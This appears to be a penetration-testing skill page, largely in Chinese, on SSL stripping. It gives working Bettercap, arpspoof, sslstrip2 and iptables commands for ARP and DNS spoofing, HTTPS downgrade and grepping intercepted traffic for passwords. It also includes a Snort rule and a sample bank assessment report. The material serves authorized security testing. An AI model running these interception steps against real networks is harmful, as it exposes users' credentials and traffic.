Simulates SSL stripping attacks using sslstrip, Bettercap, and mitmproxy to test HSTS enforcement, certificate validation, and HTTPS upgrade protections in authorized pentests.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试 Web 应用是否通过 HSTS 头部和重定向链正确强制执行 HTTPS
Simulates SSL stripping attacks using Bettercap, sslstrip, and mitmproxy to test HSTS enforcement, certificate validation, and HTTPS upgrades in authorized security assessments.
Simulates SSL stripping attacks with Bettercap, sslstrip, and mitmproxy to test HSTS, TLS certificates, and HTTPS enforcement in authorized pentests.
Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify traffic, testing TLS encryption, certificate validation, and detection.
Share bugs, ideas, or general feedback.
不适用于在没有明确书面授权的情况下针对网络或应用使用,不得拦截真实用户凭据,未经变更管理批准不得在业务时间针对生产系统使用。
# 启用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=1
# 通过 Bettercap 使用 ARP 欺骗进行定位
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"
# 或者使用 dsniff 的 arpspoof
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &
# 启动带 SSL 剥离功能的 Bettercap
sudo bettercap -iface eth0
# 启用 ARP 欺骗
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on
# 启用带 SSL 剥离的 HTTP 代理
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on
# 启用网络嗅探器进行凭据捕获
> set net.sniff.verbose true
> net.sniff on
# 监视拦截到的 HTTP 流量(原本是 HTTPS)
# Bettercap 将实时显示凭据和 URL
# 配置 iptables 将 HTTP 流量通过 sslstrip 重定向
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
# 启动 sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt
# 在另一个终端中监视拦截到的凭据日志
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"
# sslstrip 的工作原理:
# 1. 拦截包含 HTTPS 链接的 HTTP 响应
# 2. 将响应中的 https:// 替换为 http://
# 3. 维护与真实服务器的 HTTPS 连接
# 4. 向受害者提供降级后的 HTTP
# 检查目标是否有 HSTS 头部
curl -sI https://target-app.example.com | grep -i strict-transport-security
# 检查目标是否在 HSTS 预加载列表中
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool
# 通过子域名替换测试 HSTS 绕过
# sslstrip2 可以将 URL 替换为看起来相似的 HTTP 替代方案:
# https://accounts.google.com -> http://accounts.google.com(有 HSTS 则失败)
# https://accounts.google.com -> http://accounts.google.com.(尾随点绕过尝试)
# 使用 DNS 欺骗进行 Bettercap HSTS 绕过
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on
# 对于不在 HSTS 预加载列表中的应用,清除测试浏览器中的 HSTS 缓存:
# Chrome: chrome://net-internals/#hsts -> 删除域安全策略
# Firefox: 清除最近历史记录 -> 活跃登录(重置 HSTS)
# 从受害者角度检查:
# 1. 浏览器地址栏应显示 http:// 而非 https://
# 2. 无可见挂锁图标
# 3. 如果 HSTS 有效,浏览器应显示错误并拒绝连接
# 捕获降级的证据
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
-T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
-Y "http.request" > ssl_strip_evidence.txt
# 验证受害者看到的与发往真实服务器的内容
# 受害者到攻击者:HTTP(80 端口,明文)
tshark -i eth0 -f "src host 192.168.1.50 and dst port 80" -c 20
# 攻击者到真实服务器:HTTPS(443 端口,加密)
tshark -i eth0 -f "dst port 443 and dst host <real_server_ip>" -c 20
# 检查 IDS/SIEM 是否有检测
# 应能检测 SSL 剥离指标的 Snort 规则:
# alert tcp any any -> $HOME_NET 80 (msg:"Possible SSL Strip - Login form over HTTP";
# flow:to_client,established; content:"type=\"password\""; nocase;
# content:"http://"; nocase; sid:9000010;)
# 检查缺失 HSTS 头部的告警
curl -s http://target-app.example.com | grep -i "password\|login"
# 如果登录表单通过 HTTP 提供,则 SSL 剥离成功
# 停止 SSL 剥离
# 在 Bettercap 中:
> http.proxy off
> arp.spoof off
> quit
# 移除 iptables 规则
sudo iptables -t nat -F PREROUTING
# 禁用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=0
# 终止后台进程
sudo killall sslstrip2 arpspoof 2>/dev/null
# 验证网络已恢复
ping -c 1 192.168.1.1
| 术语 | 定义 |
|---|---|
| SSL 剥离(SSL Stripping) | 降级攻击,拦截 HTTP 到 HTTPS 的重定向,在向受害者提供明文 HTTP 的同时维护与服务器的加密连接 |
| HSTS(HTTP 严格传输安全) | HTTP 响应头,指示浏览器在指定期限内仅通过 HTTPS 连接,防止后续访问中的 SSL 剥离 |
| HSTS 预加载(HSTS Preloading) | 将域名提交到浏览器维护的列表,从第一次连接起就强制 HTTPS,消除首次访问的漏洞窗口 |
| 证书透明度(Certificate Transparency) | TLS 证书的公开日志框架,可检测错误签发的证书,但不能防止 SSL 剥离 |
| 混合内容(Mixed Content) | 通过 HTTPS 提供但通过 HTTP 加载资源(脚本、图像)的 Web 页面,产生部分降级漏洞 |
| Upgrade-Insecure-Requests | CSP 指令,指示浏览器将 HTTP 请求升级为 HTTPS,补充 HSTS 以防止混合内容 |
背景:某银行在其网银门户(banking.example.com)上部署了 HSTS,现在需要验证其是否有效防止 SSL 剥离。评估已授权在测试环境同一 VLAN 的工作站上进行测试,使用专用测试账户。
方法:
curl -sI https://banking.example.com | grep -i strict 显示 max-age=31536000; includeSubDomains; preload注意事项:
includeSubDomains 仅在收到父域名的 HSTS 头部后才生效## SSL 剥离评估报告
**测试 ID**:SSL-STRIP-2024-001
**目标应用**:banking.example.com
**测试日期**:2024-03-15
### HSTS 配置
| 属性 | 值 | 状态 |
|------|-----|------|
| HSTS 头部存在 | 是 | 通过 |
| max-age | 31536000(1 年) | 通过 |
| includeSubDomains | 是 | 通过 |
| preload | 是 | 通过 |
| 在 Chrome 预加载列表中 | 是 | 通过 |
### SSL 剥离测试结果
| 目标 | 客户端 | HSTS 状态 | 剥离结果 |
|------|--------|-----------|----------|
| banking.example.com | Chrome(缓存) | 已激活 | 已阻止 |
| banking.example.com | Chrome(全新) | 已预加载 | 已阻止 |
| banking.example.com | 移动应用 | 未强制执行 | 易受攻击 |
| api.banking.example.com | Chrome(全新) | 未预加载 | 易受攻击(首次访问) |
### 建议
1. 在移动银行应用中实施 TLS 证书固定(严重)
2. 将 api.banking.example.com 单独提交到 HSTS 预加载列表
3. 添加 Content-Security-Policy: upgrade-insecure-requests 头部
4. 为该域名实施证书透明度监控